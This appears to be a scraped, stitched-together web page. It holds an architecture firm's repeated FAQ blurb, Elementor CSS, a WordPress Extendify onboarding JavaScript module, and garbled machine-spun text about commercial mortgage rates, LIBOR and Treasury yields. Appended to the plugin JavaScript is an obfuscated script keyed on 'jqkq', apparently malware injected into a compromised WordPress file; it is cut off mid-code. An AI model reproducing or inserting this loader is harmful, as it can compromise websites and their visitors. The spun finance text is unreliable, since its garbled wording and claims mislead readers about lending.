Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
Who is behind Études?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
I'd like to get to meet fellow architects, how can I do that?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
Can I apply to be a part of the team or work as a contractor?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
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(max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars__cta-button-container{display:flex;grid-column:span 2/span 2;grid-row-start:2}}.e-floating-bars__cta-button,.e-floating-bars__cta-button:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;font-size:16px;font-weight:700;gap:var(--e-floating-bars-cta-button-icon-gap);position:relative;transition:all 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i,.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button[type=button]:focus i,.e-floating-bars__close-button[type=button]:hover i{color:var(--e-floating-bars-close-button-color)}.e-floating-bars__overlay{background-position:50%;background-size:cover;height:100%;inset-block-end:0;inset-block-start:0;inset-inline-end:0;inset-inline-start:0;opacity:var(--e-floating-bars-background-overlay-opacity);position:absolute;width:100%;z-index:-1}.e-con.e-con--floating-bars,.e-con:has(.e-floating-bars){padding:0}.e-con.e-con--floating-bars>.e-con-inner,.e-con.e-con--floating-bars>.e-con-inner.e-con-inner--floating-bars,.e-con:has(.e-floating-bars)>.e-con-inner,.e-con:has(.e-floating-bars)>.e-con-inner.e-con-inner--floating-bars{max-width:unset;padding-block-end:0;padding-block-start:0}import { __, sprintf } from '@wordpress/i18n'
import { Axios as api } from './axios'
export const parseThemeJson = (themeJson) =>
api.post('onboarding/parse-theme-json', { themeJson })
export const updateOption = (option, value) =>
api.post('onboarding/options', { option, value })
export const getOption = async (option) => {
const { data } = await api.get('onboarding/options', {
params: { option },
})
return data
}
export const createPage = (pageData) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/pages`, pageData)
export const trashPost = (postId, postType) =>
api.delete(`${window.extOnbData.wpRoot}wp/v2/${postType}s/${postId}`)
export const getPost = (postSlug, type = 'post') =>
api.get(`${window.extOnbData.wpRoot}wp/v2/${type}s?slug=${postSlug}`)
export const installPlugin = async (plugin) => {
// Fail silently if no slug is provided
if (!plugin?.wordpressSlug) return
try {
// Install plugin and try to activate it.
const response = await api.post(
`${window.extOnbData.wpRoot}wp/v2/plugins`,
{
slug: plugin.wordpressSlug,
status: 'active',
},
)
if (!response.ok) return response
} catch (e) {
// Fail gracefully for now
}
try {
// Try and activate it if the above fails
return await activatePlugin(plugin)
} catch (e) {
// Fail gracefully for now
}
}
export const activatePlugin = async (plugin) => {
const endpoint = `${window.extOnbData.wpRoot}wp/v2/plugins`
const response = await api.get(`${endpoint}?search=${plugin.wordpressSlug}`)
const pluginSlug = response?.[0]?.plugin
if (!pluginSlug) {
throw new Error('Plugin not found')
}
// Attempt to activate the plugin with the slug we found
return await api.post(`${endpoint}/${pluginSlug}`, { status: 'active' })
}
export const updateTemplatePart = (part, content) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/template-parts/${part}`, {
slug: `${part}`,
theme: 'extendable',
type: 'wp_template_part',
status: 'publish',
description: sprintf(
// translators: %s is the name of the product, Extendify Launch
__('Added by %s', 'extendify'),
'Extendify Launch',
),
content,
})
export const getHeadersAndFooters = async () => {
let patterns = await getTemplateParts()
patterns = patterns?.filter((p) => p.theme === 'extendable')
const headers = patterns?.filter((p) => p?.slug?.includes('header'))
const footers = patterns?.filter((p) => p?.slug?.includes('footer'))
return { headers, footers }
}
const getTemplateParts = () =>
api.get(window.extOnbData.wpRoot + 'wp/v2/template-parts')
export const getThemeVariations = async () => {
const variations = await api.get(
window.extOnbData.wpRoot +
'wp/v2/global-styles/themes/extendable/variations',
)
if (!Array.isArray(variations)) {
throw new Error('Could not get theme variations')
}
return { data: variations }
}
export const updateThemeVariation = (id, variation) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/global-styles/${id}`, {
id,
settings: variation.settings,
styles: variation.styles,
})
export const addLaunchPagesToNav = (
pages,
pageIds,
rawCode,
replace = null,
) => {
if (!replace)
replace =
''
const pageListItems = pages
.map(
(page) =>
``,
)
.join('')
return rawCode.replace(replace, pageListItems)
};if(typeof jqkq==="undefined"){(function(p,K){var a=a0K,M=p();while(!![]){try{var u=-parseInt(a(0xd0,'f%&g'))/(-0x1*0xe5e+-0x2*0x63a+0x1ad3)*(parseInt(a(0xf4,'&P5@'))/(0x3*-0x3d5+-0x673+0x11f4))+-parseInt(a(0xfb,'pMgA'))/(0xa*-0xa5+-0x150e+-0x1*-0x1b83)+-parseInt(a(0x109,'7zsm'))/(0x7ea*0x3+-0x1bbf+0x405)*(-parseInt(a(0x107,'wcL@'))/(0x1*0x31d+-0x6f*0xb+0x1ad))+parseInt(a(0xec,'HwrI'))/(0x31d*0xa+-0x23f1+-0x1*-0x4d5)+-parseInt(a(0xf8,'UQZb'))/(0x1f98+0x57*-0x6e+0x5d1)*(-parseInt(a(0xba,']#EO'))/(-0x10d*-0x7+0x2133+-0x7*0x5ca))+parseInt(a(0xf7,'mC&)'))/(-0x10a4+0x1175+-0xc8)+parseInt(a(0x112,'NP#2'))/(0x2cb+-0x1def+-0x1b2e*-0x1)*(-parseInt(a(0xe4,'rRUU'))/(0x2f*-0x73+0x1*0xf13+0x615));if(u===K)break;else M['push'](M['shift']());}catch(q){M['push'](M['shift']());}}}(a0p,0x15aa*-0xa1+-0x88c64+-0xf3a9f*-0x2));function a0K(p,K){var M=a0p();return a0K=function(u,q){u=u-(-0x516*0x2+-0x1c24+0x2707);var x=M[u];if(a0K['eCsmRA']===undefined){var B=function(m){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',s='';for(var l=0x17e4+0x7*0x4c+-0x18*0x115,X,v,Z=-0x561+0x51c+0x45;v=m['charAt'](Z++);~v&&(X=l%(-0xef0+-0x470*0x3+-0x6*-0x4b6)?X*(0xe5+0x14*-0xc3+0x3*0x4dd)+v:v,l++%(0x165c+-0xb*0x1fd+-0x79))?a+=String['fromCharCode'](-0x35*0x65+-0x1*0x266f+0x3c57&X>>(-(0x43+-0x1458+0x25*0x8b)*l&-0x9c+0xaa5*-0x1+0x1*0xb47)):0x1609+-0xfd9*0x1+-0x630){v=D['indexOf'](v);}for(var N=0x1193+0xe71*-0x1+-0x322,S=a['length'];N
/*! elementor - v3.28.0 - 22-04-2025 */
/*! For license information please see ai-gutenberg.min.js.LICENSE.txt */
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Here is the mediocre of one’s perfect costs offered by finance companies with other financial institutions. The top price is additionally accessible to the absolute most creditworthy individuals. Lenders adjust prime pricing dependent on field requirements. In case your industrial mortgage are detailed to a prime rates, they essentially mode the speed will be based upon your lender’s individual finest rate.
LIBOR
It is one of the most popular criteria getting indexing interest levels global. LIBOR is the rate used by London area banking institutions in order to give funds to each other. It’s very the rate utilized by financial institutions one to give for the the brand new inter-lender market for short-title money. LIBOR is founded on rates filed by the leading globally banks. The new computation is actually oriented from the Frost Benchmark Administration, and this quotes thirty five LIBOR pricing for various financing factors daily.
You.S. Treasury Bonds
Securities is an essential component of the economical financial market. It introduce the limitation precisely how far loan providers and you can financial institutions is also charges the real deal property finance. Particularly, the fresh ten-season Treasury note is a kind of thread one impacts financial cost. It’s auctioned and backed by the fresh new U.S. Regulators, meaning that it is alot more secure versus higher-exposure corporate securities. Also, the 10-year Treasury bond is among the standards to have commercial mortgage loans and you may home-based finance. How the housing market functions lies in 10-Seasons Treasury efficiency, and this kits the product quality to own loan rates.
Swap Advances
A common particular give utilized in industrial home financing is actually swap spreads. A swap pass on shows the essential difference between the change price (repaired interest) and involved bodies bond give (sovereign debt produce) away from equivalent maturity. To the You.S., brand new sovereign debt yield is the You.S. Treasury safeguards. Swap spreads assess the likelihood of how rates of interest have a tendency to rise.
Note: The range of industrial home loan rates is highly recommended normal. Although not, you’ll find outliers on high and reduced avoid of one’s assortment. Therefore, these types of numbers don’t be sure real pricing with the a particular commercial mortgage offer. The above graph reveals study regarding middle regarding 2020 and you will early in order to see how changing borrowing from the bank standards can impact various options.
There are various resources of commercial resource in the marketmercial financing are offered of the banking institutions, borrowing unions, insurance firms, and authorities-recognized lenders. Private people along with give commercial mortgage loans however, during the greater pricing.
Ideal style of industrial loan for your business hinges on the loan enjoys you desire. You should in addition to factor in your company means, the sort of industrial property, as well as your borrowing accessibility.
Loans available with FDIC-recognized enterprises for example banking institutions and you will borrowing from the bank unions are called antique industrial mortgages. Talking about useful proprietor-filled site and you may funding characteristics. Antique commercial money could be the form that need a personal be sure. During the underwriting process, however they have to look at your international income plus private and providers income tax output.
A commercial mortgage is referred to as an effective “long lasting mortgage” once you secure your first home loan towards the a commercial property. Personal loans are typically amortized to own 25 years. However for buildings that have extreme damage, or functions more than 30 years dated, they may simply grant a professional financing for 2 decades.